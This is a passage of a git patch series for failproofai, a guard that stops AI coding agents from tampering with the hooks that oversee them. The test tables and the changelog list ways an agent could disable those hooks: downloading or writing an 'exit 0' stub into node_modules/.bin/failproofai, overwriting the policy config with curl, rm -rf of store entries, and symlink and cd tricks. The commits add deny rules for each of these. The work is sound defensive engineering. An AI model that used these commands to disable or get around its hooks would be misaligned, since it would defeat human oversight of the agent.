String.raw`node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)`, + // (on Linux as root, under `/opt`). `node_modules` as a whole path + // component: `cached_node_modules/failproofai` is somebody's fixture. + String.raw`(? Date: Tue, 24 Nov 2026 20:05:19 +0530 Subject: [PATCH 17/60] Keep 64 segments of the shell's whole path, and cut the tail without splitting 2,000 `;`-separated `cd`s into globs took 360 ms with 256 segments kept for each possible directory; 137 ms now. `shellTail` scans back from the end instead of splitting the whole path, with the same results. Co-Authored-By: Claude Opus 5.5 --- src/hooks/builtin-policies.ts | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 8a436eaac..a63ef615d 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2310,7 +2310,7 @@ const SHELL_DIR_SEGMENTS = 16; * above `SHELL_DIR_SEGMENTS` and for following symlinks. Bounded so that a * script of a thousand `cd`s stays linear. */ -const FULL_DIR_SEGMENTS = 256; +const FULL_DIR_SEGMENTS = 64; /** How many directories a failed `cd` can leave the shell in that the walk tracks. */ const MAX_ALTERNATE_DIRS = 4; @@ -2390,8 +2390,13 @@ function shellPath(base: string | undefined, word: string): string { * later word it is joined to. */ function shellTail(path: string): string { - const parts = path.split("/"); - return parts.length > SHELL_DIR_SEGMENTS ? parts.slice(-SHELL_DIR_SEGMENTS).join("/") : path; + let cut = path.length; + for (let kept = 0; kept < SHELL_DIR_SEGMENTS; kept++) { + if (cut <= 0) return path; + cut = path.lastIndexOf("/", cut - 1); + if (cut < 0) return path; + } + return path.slice(cut + 1); } const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; From 7ac5740dd8fecbeca8884d3cfdee05805ea68801 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:11:37 +0530 Subject: [PATCH 18/60] [hooks] Let a path component start right after a short-option cluster MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 70f0e1bc required `node_modules` / `.pnpm` to start at a non-name character, which also rejected an output file glued to a short option: `wget -q -Onode_modules/failproofai/dist/cli.mjs …` was denied before and allowed after. PATH_COMPONENT_START also accepts a position right after `-` that follows whitespace or the start, so `-O` and `-qO` deny again while `cached_node_modules/…`, `my-node_modules/…`, `foo.pnpm/…` and `/tmp/-xnode_modules/…` stay allowed. (Reported by the #1795 session; `curl -so` stays allowed for the state and the code alike because the walk does not parse a glued `-o` value — walk-level.) Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 5 +++++ src/hooks/builtin-policies.ts | 16 +++++++++++++--- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 98548f965..1d589d84c 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -209,6 +209,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a fixture under a directory that merely ends in node_modules", "/work/proj/cached_node_modules/failproofai/index.js"], ["a fixture under a hyphenated node_modules", "/work/proj/my-node_modules/failproofai/index.js"], ["a fixture under a directory that merely ends in .pnpm", "/work/proj/foo.pnpm/failproofai@1.0.0/x.js"], + ["a fixture under a directory named like an option", "/tmp/-xnode_modules/failproofai/index.js"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -238,6 +239,10 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], + // An output file glued to a short option, alone or in a cluster. + ["wget writing the CLI through -O", "wget -q -Onode_modules/failproofai/dist/cli.mjs https://example.com/x"], + ["wget writing the CLI through a -qO cluster", "wget -qOnode_modules/failproofai/dist/cli.mjs https://example.com/x"], + ["wget writing pnpm's store entry through -qO", "wget -qO.pnpm/failproofai@1.0.15/x https://example.com/x"], ["a dotted glob onto pnpm's store entry", "rm -rf ./node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index a27c79d8b..b63855603 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -461,6 +461,15 @@ const SECRET_FILE_CREDENTIALS_RE = /credentials/; const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands +/** + * Where a path component may start: after a separator, a space, a quote or `=`, + * or glued to a cluster of short options (`wget -Onode_modules/…`, `curl + * -sonode_modules/…`), which is how those tools take an output file. Not after a + * letter, digit, `_`, `.` or `-` of the same name: `cached_node_modules/…` and + * `my-node_modules/…` are somebody's fixtures. + */ +const PATH_COMPONENT_START = String.raw`(?:(? Date: Tue, 24 Nov 2026 20:15:19 +0530 Subject: [PATCH 19/60] Refuse downloads and remote copies that write the npx entry MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `cd node_modules/.bin && wget https://…/failproofai` plants the entry with `.bin/failproofai` nowhere on the line: wget, and curl with `-O` / `--remote-name`, name the file after the URL, in `-P` / `--directory-prefix`, `--output-dir` or the current directory. Those landings are judged like a copy's, and a download whose name the server picks (`--content-disposition`, `-J`) or a file lists (`-i`) is refused when it lands in npm's `.bin`. `scp`, and a remote rsync source (`host:failproofai`), copy like `cp`. An output file glued to its option (`curl -o`, `curl -so`) was not read as a write at all, which also let `curl -so~/.failproofai/policies-config.json ` past the state guard. The `.bin` match also follows an option cluster (`-so.bin/…`). Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-npx-local-bin.test.ts | 44 +++++++ src/hooks/builtin-policies.ts | 134 ++++++++++++++++++-- 3 files changed, 171 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c0ae4aea4..d05c534df 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,7 +16,7 @@ - An install of failproofai fetches one third-party package, `sql.js`, pinned to an exact version with no dependencies or install script of its own; everything else it uses is compiled into its bundles at build time from `bun.lock`. It used to declare six caret ranges, so each `npm install -g failproofai` or `npx failproofai` resolved them, and posthog-node's own ranges under them, afresh: a malicious in-range release (posthog-node was hit by Shai-Hulud 2.0 in November 2025) reached every install made after it was published, and its install script ran there. posthog-node, yaml, smol-toml, jsonc-parser and html-to-image are devDependencies now, since nothing loaded them from `node_modules` at run time, so the pin holds whichever package manager installs failproofai, and an install downloads about 1.2 MB less. `bun run build` now fails first if a runtime dependency is a range, has dependencies of its own or an install script, if a bundle leaves a package external that the install would not carry, or if the package itself gains an install script, a peer dependency or an optional dependency other than the daemon packages (#1059) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close four ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 05d0ad1fa..dc0bbe6c2 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -393,6 +393,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], + // The same path glued to the last option of a cluster. + ["/work/proj/node_modules", "curl -so.bin/failproofai https://example.com/x"], ])("denies a write from the session directory %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -416,6 +418,48 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(cwd, command)).toBe("deny"); }); + // A download names its file after the URL, so the line never spells the + // entry's path; scp and a remote rsync source copy like cp. + it.each([ + ["/work/proj/node_modules/.bin", "wget https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget -q example.com/dl/failproofai"], + ["/work/proj/node_modules/.bin", "curl -sSLO https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "curl -O https://example.com/failproofai%2Ecmd"], + // The server picks the name, or a file lists the URLs. + ["/work/proj/node_modules/.bin", "curl -OJ https://example.com/download"], + ["/work/proj/node_modules/.bin", "wget --content-disposition https://example.com/download"], + ["/work/proj/node_modules/.bin", "wget -i urls.txt"], + ["/work/proj/node_modules/.bin", "wget -r -nd https://example.com/dl/"], + ["/work/proj", "wget -P node_modules/.bin https://example.com/failproofai"], + ["/work/proj", "wget -qPnode_modules/.bin https://example.com/failproofai"], + ["/work/proj", "wget --directory-prefix=node_modules/.bin https://example.com/failproofai"], + ["/work/proj", "curl --output-dir node_modules/.bin -O https://example.com/failproofai"], + ["/work/proj", "cd node_modules/.bin && wget https://example.com/failproofai"], + ["/work/proj", "scp host:failproofai node_modules/.bin/"], + ["/work/proj", "scp -T user@host:/tmp/failproofai node_modules/.bin/"], + ["/work/proj", "rsync host:failproofai node_modules/.bin/"], + // An output file glued to its option, alone or after a cluster. + ["/work/proj", "curl -sonode_modules/.bin/failproofai https://example.com/x"], + ["/work/proj", "curl -so~/.failproofai/policies-config.json https://example.com/x"], + ])("denies a download or remote copy from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj", "wget https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget https://example.com/my-tool"], + ["/work/proj", "curl -O https://registry.npmjs.org/failproofai/-/failproofai-1.0.0.tgz"], + ["/work/proj/node_modules/.bin", "curl -o /tmp/x https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "curl https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget -r https://example.com/docs/"], + ["/work/proj", "curl -OJ https://example.com/download"], + ["/work/proj", "scp ./failproofai host:node_modules/.bin/"], + ["/work/proj", "scp -r host:project ./backup"], + ["/work/proj", "wget -qO- https://example.com/api | jq ."], + ])("allows a download or remote copy from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index a63ef615d..209e30724 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -514,11 +514,12 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // relative `.bin/failproofai` a command run from inside `node_modules` // names is the same file. `.bin` must start a path component, so // `firmware.bin/failproofai` is not it, but anything that is not part of a - // name may stand before it (`>.bin/…`), and so may a glued short option - // (`-O.bin/…`). A FILE, like the entry above: the rest of + // name may stand before it (`>.bin/…`), and so may a short option the + // path is glued to, alone or at the end of a cluster (`-O.bin/…`, + // `-so.bin/…`). A FILE, like the entry above: the rest of // `node_modules/.bin` (every other package's binary, run by path all the // time) stays out of it. - String.raw`(?:(?(Object.entr "version", "whole-file", "write-devices", "xattrs", ], }, + // OpenSSH 9's `scp` synopsis: no long options. + scp: { short: "cDFiJloPSX", values: [], flags: [] }, } satisfies Record)); /** @@ -1621,8 +1625,8 @@ function landsInDirectoryAs( if (flag === "t" && head !== "rsync") directory = value; break; } - if (flag === "r" || flag === "R" || flag === "a") recursive = true; - if (flag === "T" && head !== "rsync") ontoItself = true; + if (flag === "r" || ((flag === "R" || flag === "a") && head !== "scp")) recursive = true; + if (flag === "T" && head !== "rsync" && head !== "scp") ontoItself = true; if (flag === "d" && head === "install") createsDirectories = true; } continue; @@ -1635,6 +1639,8 @@ function landsInDirectoryAs( const sources = directory !== undefined ? operands : head === "ln" && operands.length === 1 ? operands : operands.slice(0, -1); const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); if (written === undefined || sources.length === 0) return false; + // `host:path` is somewhere else's disk. + if (head === "scp" && /^[^/\\]{2,}:/.test(written)) return false; const destination = inShell(written); if (directory === undefined && (namesState(destination) || landsOnState(written))) return true; const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); @@ -1659,7 +1665,9 @@ function landsInDirectoryAs( // A trailing separator keeps the directory's own name everywhere but rsync, // where `src/` means what is in it. if (head === "rsync" && /[\\/]$/.test(source)) return false; - const name = baseName(source.replace(/[\\/]+$/, "")); + // A remote source (`host:path`) lands under the name after the host. + const local = head === "scp" || head === "rsync" ? source.replace(/^[^/\\]{2,}:/, "") : source; + const name = baseName(local.replace(/[\\/]+$/, "")); if (name === "" || name === "." || name === "..") return false; if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; @@ -1794,10 +1802,107 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st if (long && namesState(arg)) return true; const bundled = /^-[A-Za-z]*[oD]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; + // Or the value glued on, after the option alone or at the end of a + // cluster: `curl -o`, `curl -so`. + if (/^-[A-Za-z]/.test(arg)) { + for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { + if (flags.includes(`-${arg[c]}`) && namesState(arg.slice(c + 1))) return true; + } + } } return false; } +/** wget's short options that take a value (`wget --help`, GNU Wget 1.21). */ +const WGET_VALUE_OPTIONS = "eoaiBtOTwQPlARDIXU"; + +/** curl's short options that take a value (`curl --help all`, curl 8). */ +const CURL_VALUE_OPTIONS = "AbcCdDEeFHKmoPQrTtuUwxXyYz"; + +/** + * The files a download names after its URL rather than on the line, as + * `{dir, name}`: `wget `, and `curl -O` / `--remote-name`, save the URL's + * last segment into `-P` / `--directory-prefix` (wget), `--output-dir` (curl) + * or the current directory. So `cd node_modules/.bin && wget https://…/failproofai` + * writes the entry with `.bin/failproofai` nowhere on the line + * (FailproofAI/agenteye#1795). `name` is `null` when the server picks it + * (`--content-disposition`, `-J`), or the URLs come from a file (`-i`): then + * it could be anything, the entry's included. A name the line gives (`-O` + * for wget, `-o` for curl) is judged with the other operands, and a recursive + * wget puts what it fetches under a directory named after the host. + */ +function downloadLandings(words: string[]): Array<{ dir: string; name: string | null }> { + const head = words.length > 0 ? commandBasename(words[0]) : ""; + if (head !== "wget" && head !== "curl") return []; + const valueOptions = head === "wget" ? WGET_VALUE_OPTIONS : CURL_VALUE_OPTIONS; + let dir = "."; + let urlNamed = head === "wget"; + let serverNamed = false; + let named = false; + let recursive = false; + let flat = false; + const urls: string[] = []; + const args = words.slice(1); + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + urls.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + const value = eq === -1 ? undefined : arg.slice(eq + 1); + if (name === "directory-prefix" || name === "output-dir") dir = value ?? args[++i] ?? dir; + else if (name === "output-document" || name === "spider") named = true; + else if (name === "remote-name" || name === "remote-name-all") urlNamed = true; + else if (name === "content-disposition" || name === "remote-header-name" || name === "input-file") serverNamed = true; + else if (name === "recursive" || name === "mirror" || name === "page-requisites" || name === "force-directories") recursive = true; + else if (name === "no-directories") flat = true; + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + // wget's two-letter `-n?` options (`-nd`, `-nH`, `-nc`, `-np`, `-nv`). + if (head === "wget" && /^-n[A-Za-z]$/.test(arg)) { + if (arg === "-nd") flat = true; + continue; + } + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (valueOptions.includes(flag)) { + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (head === "wget" && flag === "P") dir = value ?? dir; + if (head === "wget" && flag === "O") named = true; + if (head === "wget" && flag === "i") serverNamed = true; + break; + } + if (head === "curl" && flag === "O") urlNamed = true; + if (head === "curl" && flag === "J") serverNamed = true; + if (head === "wget" && "rmpx".includes(flag)) recursive = true; + } + continue; + } + urls.push(arg); + } + if (!urlNamed || named || (recursive && !flat)) return []; + if (serverNamed || recursive) return [{ dir, name: null }]; + const landings: Array<{ dir: string; name: string | null }> = []; + for (const url of urls) { + // The last segment of the path, without the scheme, host, query or + // fragment, as written and percent-decoded. + const path = url.replace(/^[A-Za-z][\w+.-]*:\/\/[^/?#]*/, "").replace(/[?#][\s\S]*$/, ""); + const last = path.slice(path.lastIndexOf("/") + 1); + let decoded = last; + try { + decoded = decodeURIComponent(last); + } catch { + // Not valid percent-encoding: the name as written is what lands. + } + for (const name of new Set([last, decoded])) if (name !== "") landings.push({ dir, name }); + } + return landings; +} + /** * True when `command` would delete, move or overwrite failproofai's own state. * @@ -2254,7 +2359,20 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } } else if ( [at, ...alts].some((base) => - lists.some((list) => landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState)), + lists.some( + (list) => + landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState) || + downloadLandings(list).some(({ dir, name }) => { + const into = fromBase(base, dir).replace(/(?:[\\/]+\.?)+$/, ""); + if (name === null) return NPM_BIN_DIRECTORY_RE.test(into); + const landing = `${dir.replace(/[\\/]+$/, "")}/${name}`; + return ( + namesState(fromBase(base, landing)) || + landsOnState(landing) || + (base.lost && relativeWord(dir) && couldBeEntryName(name)) + ); + }), + ), ) ) { // Before the `reachesState` gate, because the point is that nothing on From 23771742218bf3a9cce2e185e30cf11ac2622718 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:23:41 +0530 Subject: [PATCH 20/60] Resolve shell writes as the kernel does, and never forget where a cd can leave the shell From CodeRabbit's second pass on #1058: - A write path is resolved on disk component by component, so a `..` after a link steps out of where the link points: `printf x > deep/../failproofai` with `deep` linked into `.bin` writes the entry. - A destination that links to npm's bin directory counts as it: copying a directory's contents, a glob or a server-named download into it, or a `.bin` directory moved into a linked `node_modules`. - More possible directories than the walk tracks no longer drop the oldest, which could be the session's own: the rest read as a directory the walk lost, where a relative path ending in the entry's name is refused. - `$PWD` and `~+` are expanded for every place the shell may stand. - Tests quote the fixture path they cd into, and the OpenCode check ties the `-y failproofai` arguments to the `npx` launcher. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 45 ++++++++- src/hooks/builtin-policies.ts | 106 ++++++++++++++------ 2 files changed, 114 insertions(+), 37 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index dc0bbe6c2..19e3cd2e1 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -110,11 +110,14 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs beforeAll(() => { root = mkdtempSync(join(tmpdir(), "fpai-npx-guard-")); - mkdirSync(join(root, "proj", "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(root, "proj", "node_modules", ".bin", "sub"), { recursive: true }); mkdirSync(join(root, "proj", "tools"), { recursive: true }); // Neither link's own path says anything about failproofai or `.bin`. symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "tools", "bins")); symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "tools", "hook")); + // A link into a directory below `.bin`, and one to `node_modules`. + symlinkSync(join(root, "proj", "node_modules", ".bin", "sub"), join(root, "proj", "tools", "deep")); + symlinkSync(join(root, "proj", "node_modules"), join(root, "proj", "nm")); }); afterAll(() => { @@ -143,12 +146,30 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "cp /tmp/stage/failproofai tools/bins/", "tee tools/bins/failproofai < /tmp/stub.sh", "printf x > tools/hook", + // A `..` after a link steps out of where the link points, as the + // kernel resolves it, not out of the link's own directory. + "printf x > tools/deep/../failproofai", + "cp /tmp/stub.sh tools/deep/../failproofai", + // What a copy puts INTO a linked bin directory: contents, a glob, a + // name the server picks. + "cp -r /tmp/stage/. tools/bins/", + "cp -rT /tmp/stage tools/bins", + "cp /tmp/stage/* tools/bins/", + "curl --output-dir tools/bins -OJ https://example.com/dl", + // A directory named `.bin` moved into a linked `node_modules`. + "mv /tmp/x/.bin nm/", ])("denies a shell write through a link: %s", async (command) => { expect(await bashIn(join(root, "proj"), command)).toBe("deny"); - expect(await bash(`cd ${join(root, "proj")} && ${command}`)).toBe("deny"); + expect(await bash(`cd '${join(root, "proj")}' && ${command}`)).toBe("deny"); }); - it.each(["printf x > tools/bins/my-script", "cat tools/bins/failproofai", "ls -la tools/bins/ > listing.txt"])( + it.each([ + "printf x > tools/bins/my-script", + "cat tools/bins/failproofai", + "ls -la tools/bins/ > listing.txt", + "printf x > tools/deep/../my-tool", + "cp -r /tmp/stage/. out/", + ])( "still allows shell work through a link: %s", async (command) => { expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); @@ -414,6 +435,14 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj/node_modules/.bin", "cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && cp /tmp/x ../../../../../../../../../../../../../../../../../failproofai"], ["/work/proj", "ln -s node_modules/.bin bins; cp /tmp/stub.sh bins/failproofai"], ["/work/proj", "ln -sfn node_modules/.bin bins && cp /tmp/failproofai bins/"], + // More possible directories than the walk tracks: the oldest is not + // forgotten, so a failed first cd still leaves the shell in .bin. + ["/work/proj/node_modules/.bin", "cd /a && cd /b && cd /c && cd /d && cd /e; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /a && cd /b && cd /c && cd /d && cd /e && cd /f && cd /g && cd /h && cd /i; printf x > failproofai"], + // `$PWD` and `~+` are wherever the shell may stand. + ["/work/proj/node_modules/.bin", 'cd /tmp; printf x > "$PWD/failproofai"'], + ["/work/proj/node_modules/.bin", "cd /tmp; cp /tmp/stub.sh ${PWD}/failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp; printf x > ~+/failproofai"], ])("denies a write where the shell may still stand, from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -539,6 +568,10 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj", "cd /tmp; printf x > notes.txt"], ["/work/proj", "cd node_modules/.bin && ls -la && cd ../.. && rm -rf build"], ["/work/proj", "pushd /tmp && make && popd && rm -rf out"], + ["/work/proj", "cd a && cd b && cd c && cd d && cd e; rm -rf build"], + ["/work/proj", "cd a; make; cd ..; cd b; make; cd ..; cd c; make; cd ..; cd d; make; cd ..; cd e; make; cd ..; rm -rf dist"], + // After `&&` the cd has succeeded, so `$PWD` is where it went. + ["/work/proj/node_modules/.bin", 'cd /tmp && printf x > "$PWD/failproofai"'], ])("allows ordinary moves from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).not.toBe("deny"); }); @@ -620,7 +653,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs .find((integration) => integration.id === "opencode")! .writeHookEntries({}, "/opt/fp/bin/failproofai", "project"); const shim = readFileSync(join(dir, ".opencode", "plugins", "failproofai.mjs"), "utf8"); - const spawned = [...shim.matchAll(/\["-y", "([^"]+)"/g)].map(([, name]) => name); + // The launcher and its arguments, tied to the same switch, so a shim that + // kept these arguments for another program would fail here. + expect(shim).toContain("const USE_NPX = true;"); + expect(shim).toMatch(/const cmd = USE_NPX \? "npx" :/); + const spawned = [...shim.matchAll(/USE_NPX\s*\?\s*\["-y", "([^"]+)"/g)].map(([, name]) => name); expect(spawned.length).toBeGreaterThan(0); for (const name of spawned) names.add(name); } finally { diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 209e30724..51dd2bc26 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1579,6 +1579,7 @@ function landsInDirectoryAs( inShell: (word: string) => string = (word) => word, lost = false, landsOnState: (written: string) => boolean = () => false, + isBinDir: (written: string) => boolean = () => false, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); @@ -1659,7 +1660,9 @@ function landsInDirectoryAs( !(head === "ln" && /[\\/]$/.test(written)) && (head === "mv" || head === "ln" || (recursive && head !== "rsync")); const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); - if (NPM_BIN_DIRECTORY_RE.test(into) && (createsDirectory || copiesContents)) return true; + // The destination as written, or wherever a link there points. + const intoBin = NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(written); + if (intoBin && (createsDirectory || copiesContents)) return true; if (into === "" || ontoItself) return false; return sources.some((source) => { // A trailing separator keeps the directory's own name everywhere but rsync, @@ -1672,9 +1675,15 @@ function landsInDirectoryAs( if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; // A directory named `.bin` landing in a `node_modules` is the same swap. - if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; + const writtenLanding = `${written.replace(/[\\/]+$/, "")}/${name}`; + if ( + (NPM_BIN_DIRECTORY_RE.test(landing) || isBinDir(writtenLanding)) && + (head === "mv" || head === "ln" || recursive) + ) { + return true; + } // A glob source puts names the line does not spell into the directory. - if (NPM_BIN_DIRECTORY_RE.test(into) && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; + if (intoBin && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; if (!namesState(landing) && !landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`)) return false; return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing) || landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`); }); @@ -2041,16 +2050,20 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) pending: Where[]; }> = []; const sameWhere = (x: Where, y: Where) => x.dir === y.dir && x.full === y.full && x.lost === y.lost; - // Each place once, not where the shell certainly is, and only the latest few. - const possible = (list: Where[], limit = MAX_ALTERNATE_DIRS): Where[] => { + // A directory the walk cannot name: where the shell may be once there are + // more possibilities than it tracks. + const UNKNOWN: Where = { dir: undefined, full: undefined, deep: false, lost: true, inState: false }; + // Each place once. Past the limit the oldest are not dropped, since the + // shell may still be in any of them: the newest few are kept and the rest + // read as a directory the walk lost. + const fold = (list: Where[], limit: number): Where[] => { const kept: Where[] = []; - for (const where of list.slice().reverse()) { - if (kept.length < limit && !sameWhere(where, at) && !kept.some((other) => sameWhere(other, where))) { - kept.unshift(where); - } - } - return kept; + for (const where of list) if (!kept.some((other) => sameWhere(other, where))) kept.push(where); + if (kept.length <= limit) return kept; + return [...kept.filter((where) => !sameWhere(where, 